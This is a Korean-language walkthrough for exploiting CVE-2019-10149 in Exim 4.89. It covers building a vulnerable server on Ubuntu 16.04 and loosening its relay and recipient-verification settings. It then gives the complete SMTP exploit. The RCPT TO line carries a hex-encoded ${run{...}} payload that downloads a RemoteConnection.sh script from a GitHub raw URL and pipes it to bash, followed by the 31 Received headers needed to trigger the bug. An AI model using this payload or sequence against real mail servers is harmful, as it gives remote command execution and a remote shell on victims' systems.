CVE-2019-10149 - Exim 4.87 < 4.91
취약한 버전의 Exim 설치 및 그 익스플로잇에 대한 지침
테스트 환경: Linux Ubuntu 16.04, Exim 4.89
Exim 설치
Exim 4.89 다운로드 및 압축 해제
압축 해제된 폴더로 이동
필요한 설정 파일 복사 및 수정
-
sed -e 's,^EXIM_USER. * $,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile
-
cp exim_monitor/EDITME Local/eximon.conf
exim 사용자 및 그룹 생성
의존성 설치
- sudo apt-get update
- sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev
Exim 4.89 설치
7일을 기다리지 않고 익스플로잇을 수행할 수 있도록 /usr/exim/configure를 편집하여 릴레이를 허용
- sudo sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = * /' /usr/exim/configure
- sudo sed -i '/hostlist relay_from_hosts = localhost/c\hostlist relay_from_hosts = 0.0.0.0' /usr/exim/configure
- sudo sed -i '/require verify = recipient/c#require verify = recipient' /usr/exim/configure
Exim을 exim 사용자로 실행
- sudo -H -u exim /usr/exim/bin/exim -bd -d-receive
익스플로잇 제작
셸 명령어를 16진수로 변환. 예시:
예제 표:
- \t-c\ = -c
- \t= space
- x20 = space
- x7C = |
- x2F = /
- x3A = :
- x2D = -
- x3E = >
- x26 = &
- x22 = "
- x2E = .
익스플로잇 사용법
먼저 nc를 사용하여 서버에 연결합니다.
연결 후 HELO를 보냅니다.
- helo localhost
- (응답: 250 exim Hello localhost [192.168.0.168])
다음으로 발신자 주소를 비워둡니다.
- mail from:<>
- (응답: 250 OK)
그런 다음 생략 부호(...) 대신 원하는 명령을 삽입하여 페이로드가 포함된 수신자 주소를 설정합니다. rcpt to:${run{...}}@localhost.
- rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22}}@localhost>
- (응답: 250 Accepted)
마지막으로 DATA를 입력한 후 31줄, 빈 줄, 마침표를 입력합니다.
- DATA
- Received: 1
- Received: 2
- Received: 3
- Received: 4
- Received: 5
- Received: 6
- Received: 7
- Received: 8
- Received: 9
- Received: 10
- Received: 11
- Received: 12
- Received: 13
- Received: 14
- Received: 15
- Received: 16
- Received: 17
- Received: 18
- Received: 19
- Received: 20
- Received: 21
- Received: 22
- Received: 23
- Received: 24
- Received: 25
- Received: 26
- Received: 27
- Received: 28
- Received: 29
- Received: 30
- Received: 31
- .